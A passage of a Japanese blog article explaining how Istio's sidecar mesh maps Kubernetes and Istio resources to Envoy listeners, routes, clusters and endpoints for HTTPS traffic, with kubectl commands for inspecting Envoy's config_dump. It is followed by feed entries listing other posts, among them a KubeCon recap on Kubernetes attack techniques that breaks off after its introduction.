HTTPフィルター(HTTPフィルター) -.-> ルート ルート(ルート) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|HTTPS| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,HTTPフィルター,ルート,クラスター,エンドポイント red各処理がどのような責務を担っているのかをもう少し詳しく見てみましょう。図中の番号に沿って、EnvoyがHTTPSリクエストを処理する仕組みを解説します。送信元からのHTTPSリクエストの宛先ポートで、リスナーを絞り込みます。通信の種類 (例:HTTP、HTTPS、TCP、UDP、Unixドメインソケットなど) に応じてフィルターを選び、各フィルターがパケットのヘッダーを処理します。もしHTTPSであれば、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。フィルターを使用して、HTTPSリクエストの宛先ポートで、ルートを絞り込みます。フィルターを使用して、HTTPSリクエストの宛先ホストやパスで、クラスターを絞り込みます。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、クラスター配下のエンドポイントを選びます。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、エンドポイントにL7ロードバランシングします。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてflowchart TD 送信元 -.->|TCP| リスナー リスナー(リスナー) -.-> リスナーフィルター subgraph \\"\\" リスナーフィルター(リスナーフィルター) -.-> ネットワークフィルター end ネットワークフィルター(ネットワークフィルター) -.-> クラスター クラスター(クラスター) -.-> エンドポイント エンドポイント(エンドポイント) -.->|TCP| 宛先classDef sly fill: #CCFFFF, stroke: black;class 送信元 slyclassDef yellow fill: #FFFF88, stroke: black;class 宛先 yellowclassDef red fill: #EA6B66, font-weight :bold, stroke: black;class リスナー,リスナーフィルター,ネットワークフィルター,クラスター,エンドポイント redDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPTフィルターフィルターの一覧Envoyのフィルターは、Envoyの機能を拡張するための設定です。HTTPSリクエストを処理するためには、リスナーフィルター、ネットワークフィルター、HTTPフィルター、といったフィルターが必要になります。全ては解説しきれないため、HTTPSリクエストを処理するための代表的なフィルターをいくつか抜粋しました。ただ、 Istioはこれらのフィルターをデフォルトで有効にしてくれている ため、開発者がEnvoyのフィルターを設定する場面は少ないです。逆をいえば、Istioを介さずにEnvoyをそのまま使用する場合、開発者がEnvoyのフィルターを自前で設定する必要があります\uD83D\uDC4D\uD83C\uDFFBフィルターの種類 HTTPSリクエストの処理に必要なフィルター(一部抜粋) 説明 リスナーフィルター Original Destination istio-proxyコンテナへのリダイレクト前の宛先情報をEnvoyが取得できるようにします。Pod内のiptablesがHTTPSリクエストをistio-proxyコンテナにリダイレクトすると、HTTPSリクエストの宛先がistio-proxyコンテナに変わってしまいます。ただし、iptablesはリダイレクト前の宛先をカーネル上のSO_ORIGINAL_DSTという定数に格納してくれています。Envoyは、カーネル上のSO_ORIGINAL_DSTから本来の宛先を取得し、プロキシします。 HTTP Inspector EnvoyがHTTPを検知できるようにします。 TLS Inspector EnvoyがTLSを検知できるようにします。TLSを検知した場合、EnvoyはTLSに関する処理を実行します。例えば、DownstreamTlsContextは、リスナーフィルター直後に、送信元との間でTLS接続を確立し、パケットのL7のアプリケーションデータを復号化します。また、UpstreamTlsContextは、クラスターの処理時に、宛先との間でTLS接続を確立し、L7のアプリケーションデータを暗号化します。 ネットワークフィルター HTTP connection manager Envoyが、L7のアプリケーションデータを読み取り、また後続のHTTPフィルターを制御できるようにします。 HTTPフィルター Router Envoyがポート番号でルート、ホストやパスでクラスターを絞り込めるようにします。 gRPC-Web EnvoyがHTTP/1.1で受信したHTTPSリクエストをHTTP/2に変換し、gRPCサーバーにプロキシできるようにします。 Filters — envoy 1.33.0-dev-8fd5cc documentation▶︎ Istioがデフォルトで有効にするEnvoyの設定についてistio-proxyコンテナは、イメージのビルド時に、あらかじめ用意しておいたEnvoyの設定ファイルを組み込みます。そのため、istio-proxyコンテナ内のEnvoyは、多くの設定をデフォルトで有効にできます。Istioを利用する開発者が、EnvoyがHTTPSリクエストを処理するために必要なフィルターを有効にしなくてよいのも、Istioのおかげです。Istioほんまにありがとな\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F istio/pilot/docker/Dockerfile.proxyv2 at 1.20.2 \xb7 istio/istio \xb7 GitHubistio/tools/packaging/common/envoy_bootstrap.json at 1.20.2 \xb7 istio/istio \xb7 GitHubフィルターチェーンの仕組みEnvoyは、複数のフィルターからなるフィルターチェーンを実行し、HTTPSを処理します。図中の番号に沿って、Envoyのフィルターチェーンの仕組みを解説します。各フィルターの機能は、前述したフィルターの一覧を参考にしてください\uD83D\uDE47\uD83C\uDFFBリスナーフィルター (Original Destination、HTTP Inspector、TLS Inspectorなど) を実行します。(1) でTLS InspectorがTLSを検知した場合、DownstreamTlsContextで宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。ネットワークフィルター (HTTP connection managerなど) を実行します。HTTPフィルター (Router、gRPC-Webなど) を実行します。Life of a Request — envoy 1.33.0-dev-8fd5cc documentation▶ TCPリクエストを処理する場合についてTCP proxy — envoy 1.33.0-dev-8fd5cc documentation05. リソースの設定からEnvoy設定への翻訳いよいよです\uD83D\uDD25Istioが各リソースをいずれのEnvoyの設定に翻訳しているのかを解説します。表で対応関係の一覧を示した後、istio-proxyコンテナ内のEnvoyに当てはめました。各リソースとEnvoyの設定の関係一覧Istioコントロールプレーンは、KubernetesリソースやIstioカスタムリソースの設定をEnvoyの設定に翻訳し、処理の流れに当てはめます。以下の通り、各リソースがいずれのEnvoyの設定を抽象化するのかを整理しました。リソースによっては、Envoyの複数の設定を抽象化します。なお、Istioの用意したEnvoyのフィルターのデフォルト値を変更するユースケースが少ないため、これを抽象化するEnvoyFilterについては言及しません。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ Debugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT- YouTubeサービスメッシュ外からのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ外からのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio IngressGatewayの一部として使用します。ServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ \xd7 ✅ ルート ✅ ✅ \xd7 クラスター ✅ ✅ \xd7 ✅ エンドポイント ✅ ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-ingress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio IngressGatewayを置くことで、Istio IngressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyでほとんど同じリソースが登場しますが、 Gatewayは送信元Envoyだけで登場します。リソースの種類だけに着目すると、以下になります。Gatewayが送信元Envoyだけで登場することがわかりやすくなりました。マイクロサービス間のHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから別のPodへのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。GatewayとServiceEntryは、使用しないリソースのため、\xd7としています。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ \xd7 ✅ \xd7 ✅ ルート ✅ \xd7 ✅ \xd7 クラスター ✅ \xd7 ✅ \xd7 ✅ エンドポイント ✅ \xd7 ✅ \xd7 リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、同じリソースが抽象化します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints VirtualService DestinationRule PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで、同じリソースが登場します。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場することがわかりやすくなりました。サービスメッシュ外へのHTTPSEnvoyの設定を抽象化するリソース一覧サービスメッシュ内のPodから外のシステム (例:データベース、ドメインレイヤー委譲先の外部API) へのHTTPSリクエストを処理する場合に関係するリソースを抜粋しました。Gatewayは、Istio EgressGatewayの一部として使用します。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualService DestinationRule ServiceEntry PeerAuthentication リスナー ✅ ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ ✅ エンドポイント ✅ ✅ ✅ リソースとEnvoyの設定の対応関係送信元または宛先Envoyに分けると、各リソースは以下のようにEnvoyの設定を抽象化します。話を簡単にするために、送信元と宛先は同じNamespaceにあると仮定します。他の場合とは異なり、送信元EnvoyでHTTPSリクエストの宛先を決める設定、または宛先EnvoyでHTTPSリクエストを受信する設定を、異なるリソースが抽象化します。PeerAuthenticationだけは、話を簡単にするために送信元と宛先が同じNamespaceであると仮定しているので、同じリソースが抽象化します。送信元Envoyの設定の抽象化で登場するリソースが宛先では登場せず、逆も然りです。 Kubernetes ☸️リソース Istio ⛵️カスタムリソース Envoyの設定 Service Endpoints Gateway VirtualServiceX 〃Y DestinationRuleX 〃Y ServiceEntry PeerAuthentication 送信元 リスナー ✅ ✅ ✅ ルート ✅ ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ 宛先 リスナー ✅ ✅ ✅ ルート ✅ クラスター ✅ ✅ ✅ エンドポイント ✅ ✅ ▶︎ 送信元と宛先のNamespaceについてistio-egress) においた方が良いです。マイクロサービスとは異なるNamespaceにIstio EgressGatewayを置くことで、Istio EgressGatewayをアップグレードしやすくなったり、他から障害の影響を受けにくくなります\uD83D\uDE46\uD83C\uDFFB‍♂️istio-proxyコンテナ内のEnvoyに当てはめるこの表を、HTTPSリクエストの仕組みの中に当てはめると、以下になります。引用した前述の解説のイメージが掴めるかと思います。送信元または宛先Envoyで同じリソースが登場しません 。リソースの種類だけに着目すると、以下になります。送信元または宛先Envoyで同じリソースが登場しないことがわかりやすくなりました。06. 翻訳されたEnvoy設定値を見てみる前章では、Envoyの具体的な設定値まで、言及しませんでした。本章では、さらに具体化します。各リソースの設定の翻訳によって、Envoyの具体的にどのような設定値になっているのかを解説します。Envoyの現在の設定を出力するEnvoyは、現在の設定を確認するためのエンドポイント (/config_dump) を公開しています。これにHTTPSリクエストを送信し、具体的な設定値を出力してみましょう\uD83D\uDC4D\uD83C\uDFFBリスナーを出力する/config_dumpのクエリストリングにresource={dynamic_listeners}をつけると、Envoyのリスナーを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentation▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dルートを出力する/config_dumpのクエリストリングにresource={dynamic_route_configs}をつけると、Envoyのルートを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-874f7f documentationクラスターを出力する/config_dumpのクエリストリングにresource={dynamic_active_clusters}をつけると、Envoyのクラスターを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -PAdministration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationエンドポイントを出力する/config_dumpのクエリストリングにinclude_edsをつけると、Envoyのエンドポイントを出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -PAdministration interface — envoy 1.33.0-dev-8fd5cc documentationConfigDump (proto) — envoy 1.33.0-dev-874f7f documentationSupported load balancers — envoy 1.33.0-dev-8fd5cc documentation証明書を出力する/config_dumpのクエリストリングにresource={dynamic_active_secrets}をつけると、証明書を出力できます。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_secrets}\\" | yq -PConfigDump (proto) — envoy 1.33.0-dev-8fd5cc documentationサービスメッシュ外からのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50000) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50000) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50000) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50000)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50000) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50000||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50000||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50000) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio Ingress vs. Kubernetes Ingress – Daniel Watrous on Software and Cloud Engineering▶︎ istio-proxyコンテナのプロキシ先のIPアドレスについてistio-proxyコンテナは、ローカルホストを127.0.0.6とし、HTTPSリクエストをマイクロサービスに送信します。これは、127.0.0.1を指定してしまうと、istio-proxyコンテナからマイクロサービスへの通信がiptables上でループしてしまうためです。istio-proxyコンテナからマイクロサービスへの通信では、正しくはiptables上でISTIO_OUTPUTからPOSTROUTINGに通信を渡します。一方で、もしローカルホストが127.0.0.1であると、ISTIO_OUTPUTからISTIO_IN_REDIRECTに通信を渡すことになり、istio-proxyコンテナに再びリダイレクトしてしまいます。hatappi1225さんの解説が鬼わかりやすかったです\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F画像引用元:mercari engineeringInbound Forwarding - Google ドキュメントiptables から理解する Istio 1.10 から変更された Inbound Forwarding | メルカリエンジニアリングマイクロサービス間のHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:50010) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:foo-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|50010|foo-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::50010) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、HTTPSリクエストを宛先PodにL7ロードバランシングします。宛先Pod側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:50010) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_50010)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:50010) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:example.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートで管理しています (例:inbound|50010||) エンドポイントを選びます。Envoyは、エンドポイントをローカルホストや宛先ポートで管理しています (例:127.0.0.6:50010) 。 ローカルホストにHTTPSリクエストを送信します。結果的に、宛先マイクロサービスにHTTPSリクエストが届きます。Istio流量管理实现机制深度解析-赵化冰的博客 | Zhaohuabing Blogサービスメッシュ外へのHTTPSここでは、istio-proxyコンテナはHTTPSリクエストを処理するとします。図中の番号に沿って、通信の仕組みを解説します。送信元Pod側のistio-proxyコンテナ送信元マイクロサービスからのHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443) 。HTTPSリクエストを処理するための各種フィルターを選びます。また、宛先とTLSハンドシェイクを実行し、パケットのL7のアプリケーションデータを復号化します。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:443) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:istio-egressgateway-service.foo-namespace.svc.cluster.local) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターをIstio EgressGateway 宛先ポートやホストで管理しています (例:outbound|443|istio-egressgateway-service.foo-namespace.svc.cluster.local) 。設定した負荷分散方式 (例:ラウンドロビンなど) に応じて、Istio EgressGateway Service配下のPodを選びます。Envoyは、エンドポイントをPodのIPアドレスや宛先ポートで管理しています (例::443) 。宛先との間でTLS接続を確立し、パケットのL7のアプリケーションデータを暗号化します。そして、Istio EgressGateway PodにL7ロードバランシングします。宛先Pod (Istio EgressGateway Pod) 側のistio-proxyコンテナL7ロードバランシングされたHTTPSリクエストの宛先ポート (例:443) で、リスナーを絞り込みます。Envoyは、リスナーを宛先ポートで管理しています (例:0.0.0.0_443)HTTPSリクエストを処理するための各種フィルターを選びます。HTTPフィルターにより、HTTPSリクエストの宛先ポート (例:443) で、ルートを絞り込みます。Envoyは、ルートを宛先ポートで管理しています (例:inbound|50010||) 。HTTPフィルターにより、HTTPSリクエストの宛先ホスト (例:external.com) やパス (例:/) で、クラスターを絞り込みます。Envoyは、クラスターを宛先ポートやホストで管理しています (例:outbound|443|external.com) 。エンドポイントを選びます。Envoyは、エンドポイントをエントリ済システムのIPアドレスや宛先ポートで管理しています (例::50010) 。エントリ済システムのIPアドレスは、開発者が設定する必要はなく、EnvoyがDNSから動的に取得します。 エントリ済システムにHTTPSリクエストを送信します。Using Istio to MITM our users’ traffic | Steven ReitsmaIngress, egress, ServiceEntry DATA Flow issues for ISTIO API Gateway? - Discuss Istio07. おわりにIstioサイドカーメッシュがEnvoyのHTTPSリクエストの処理をどのように抽象化するのか、またEnvoyがどのようにHTTPSリクエストを処理するのかを解説しました。次々とサービスメッシュツールが登場したとしても、それがEnvoyを使用したサービスメッシュである限り、最終的にはEnvoyの設定値に行き着きます。そのため、抽象化されたEnvoyがどのように通信を扱うのかを一度でも理解すれば、様々なサービスメッシュツールで知識を流用できると思います。Istioはもちろん、他のEnvoyによるサービスメッシュツール (Consul、Ciliumなど) を使っている方の参考にもなれば幸いです\uD83D\uDC4D\uD83C\uDFFB謝辞今回、Kubernetesのネットワークを調査するにあたり、以下の方に知見をご教授いただきました。@ken5owata さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","isoDate":"2024-01-15T16:34:04.000Z","dateMiliSeconds":1705336444000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格","link":"https://sreake.com/blog/aws-advancedtier/","contentSnippet":"株式会社スリーシェイクは、アマゾン ウェブ サービス(以下、AWS)のAWSパートナーネットワーク(APN)において「AWS アドバンストティアサービスパートナー」に認定されたことをお知らせいたします。The post スリーシェイク、「AWS アドバンストティアサービスパートナー」に昇格 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-12T00:50:00.000Z","dateMiliSeconds":1705020600000,"authorName":"Sreake","authorId":"Sreake"},{"title":"k8sgpt-operator 開発メモ (ARM Mac 向け)","link":"https://zenn.dev/tozastation/articles/711f2bff2cc656","contentSnippet":"Kubernetes クラスタ構築 AMD64 コンテナ環境セットアップ ~ Lima VM ~https://github.com/lima-vm/limaGetting Started については README.md 参照Limaでは、事前に定義した内容でVMを作ることができますDocker 環境を構築する場合のサンプルも公開されていますhttps://github.com/lima-vm/lima/blob/master/examples/docker.yaml今回は、amd64 の VM を作成したいため、docker.yaml に以下の行を追記...","isoDate":"2024-01-10T00:17:57.000Z","dateMiliSeconds":1704845877000,"authorName":"tozastation","authorId":"tozastation"},{"title":"PipeCDのインストールとカスタマイズ","link":"https://sreake.com/blog/pipecd-installation/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 前回の記事では、Kubernetes […]The post PipeCDのインストールとカスタマイズ first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-09T04:09:23.000Z","dateMiliSeconds":1704773363000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PipeCDの概要","link":"https://sreake.com/blog/pipecd-overview/","contentSnippet":"はじめに はじめまして。Sreake事業部インターン生の荒木です。2023年10月から長期インターン生としてKubernetes関連技術の習得とSRE技術の調査・検証を行っています。 この記事の目的は、Kubernete […]The post PipeCDの概要 first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-01-09T04:05:16.000Z","dateMiliSeconds":1704773116000,"authorName":"Sreake","authorId":"Sreake"},{"title":"WSL の Linux から Windows のブラウザで URL を開く","link":"https://blog.1q77.com/2024/01/open-browser-in-wsl/","contentSnippet":"課題 WSL の Linux 内で awscli を使って SSO 認証する場合の aws sso login 実行時や GitHub の CLI である gh (cli.github.com ) コマンドで gh auth login を実行した場合に可能であれば自動でブラウザで指定の URL","isoDate":"2024-01-07T11:43:53.000Z","dateMiliSeconds":1704627833000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年の振り返りをする","link":"https://nnaka2992.hatenablog.com/entry/zatu/2023_furikaeri","contentSnippet":"みんな振り返りしてる。振り返りしてないのはお前だけ。なので振り返りします。登壇関係2023-06-22 3-shake SRE Tech Talk #6これまで対外向けの登壇は行なったことが無かったのでこれが登壇デビューでした。DBREノススメ所属会社である株式会社スリーシェイクの主催するイベントでしたが、一度登壇すると登壇のハードルが低くなるのでとてもいい機会でした。今の会社にDBREerポジションで入社して6か月目の登壇なので今見ると当時と違う意見の部分もあったりしますが、今もDBREもSREも何なのか分かりません。2023-09-26 YugabyteDB Japan Meetup #3別件でYugabyte Japanの方と話していたところ、登壇してみないか? と誘われたためホイホイ話しに行った登壇でした。紹介 データベース信頼性エンジニアリングSRETTの方ではSREの存在を認知している方が多いだろうと想定して何故DBREが必要なのか? という話しをしたのに対して、こちらではDB関係者が多いと想いDBAとDBREという切り口で発表しました。YugabyteDBはドキュメントを始めから読む活動をしていたり(2023年後半はあまり出来ていませんが)、ローカル環境で動かして遊んだりはしていたもののYugabyteDBについて話せるほどの理解は(今も)なく次にYugabyteDB Japan Meetupで話す機会があればYugabyteDBについてを主題に話したいと思いました。2023-10-12 3-shake SRE Tech Talk #76月の登壇と同様に所属会社主催のイベントでした。KubernetesでDBを動かしたい2021年ごろにDBをKubernetesで動かす記事見て以来DB on Kubernetesには興味があったのですが、Kubernetes自体やデータベースのお勉強をしていたらなかなかDB on k8sまでたどりつけていませんでした。それをイベント駆動で無理やり勉強したのがこのイベントでした。内容としてはありきたりですが、Zalando Postgres Operatorを動かしましたというだけのものですが、ここでDB on k8sをさわってからはいろいろな機会でDB on k8sを触るようになりました。2023-12-26 第44回 PostgreSQLアンカンファレンス@オンライン年内最後の登壇はPostgreSQLアンカンファレンスでした。pgrollで実現するスキーマブルーグリーンデプロイメントちょうど登壇しやすいネタを抱えてたのとアドベントカレンダーでそーだいさんが運用・開発よりの話しが足りないと書いていたのを見て、DBREを名乗っているし話さなきゃいけないだろと思ったので登壇しました。もっと運用よりだったりサービス開発だったり設計よりの話も募集中です。 大体そういうの喋る担当が自分だけなのでめちゃめちゃ需要があるので気軽にどうぞ。登壇自体はpodman-composeとdocker composeの差分で悲しいライブデモになりました。検証環境と登壇環境はそろえなきゃいけないなと思いました。ブログ関連はてなブログでは主に読んだ論文やドキュメントについてまとめ、zennでは何かを調べてまとめたものや検証した結果をまとめるように使い分け運用しました。はてなブログでやっているYugabyteDBのドキュメントを全部読む取り組みは途中で止ってしまっているので動かします。zennの方は社内向けに話すもののうち社外に出しても問題ないようなものを垂れ流していましす。2024年は技術検証方面に力をいれたいのでzennを活発に出来たらなと思います。アドベントカレンダーは大風呂敷で畳みきれなかったデータベースエンジニアのためのDB on Kubernetes入門ガイドに始まり、誰得なのかわからないAlloyDB omni on Kubernetesを眺めると続いて、sqldefとpgrollを利用したPostgreSQLでのスキーマブルーグリーンデプロイメントを書きました。ターゲットは誰だったんですかね?まとめ2023年は今までインプット重視だったところからアウトプットを考えだした年でした。これはそろそろアウトプットをしなきゃいけないという思いもあったものの、2023年1月に現職に転職し社外へのアウトプットをする人が多くいたからという面も多大にあります。人は周りの5人の平均になるという言葉があるらしいですが、まさしくその例で環境が変り周りの人が変ったため個人の方向性も変ったのではないかと思います。外部にアウトプットすることが偉いわけではありませんが、外部に発信すると新しい機会も産まれましたし1来年以降も継続していきたいです。↩","isoDate":"2023-12-31T13:00:10.000Z","dateMiliSeconds":1704027610000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"KubeCon NA 2023 Recap: Attacking Kubernetes 編","link":"https://kyohmizu.hatenablog.com/entry/2023/12/31/040720","contentSnippet":"本記事は 3-shake Advent Calendar 2023 最終日の記事です。こんにちは、きょー (@kyohmizu) です少し旬を逃してしまいましたが、KubeCon NA 2023 の振り返りをしたいと思います。私はKubeConにはリアル参加しておらず、後からセッション動画を見ました。Kubernetes 編」ということで、Kubernetes へのサイバー攻撃テクニックに関するセッションを3つご紹介します。ちなみに本内容は、先日開催された CloudNative Days Tokyo 2023 にてお話しするか検討していたのですが、準備期間とセッション時間 (20分) の都合で泣く泣く諦めたものになります。 speakerdeck.comそれではセッション紹介に入ります。K8s Post-Exploitation: Privilege Escalation, Sidecar Container Injection, and Runtime Securityセッション情報Kubernetes クラスタに侵入した攻撃者が行う攻撃手法と、その対策を紹介するセッションです。最初に TeamTNT の行った攻撃キャンペーンについて、過去の調査レポートをベースに説明しています。クラスタへの初期アクセスの後、kubelet API 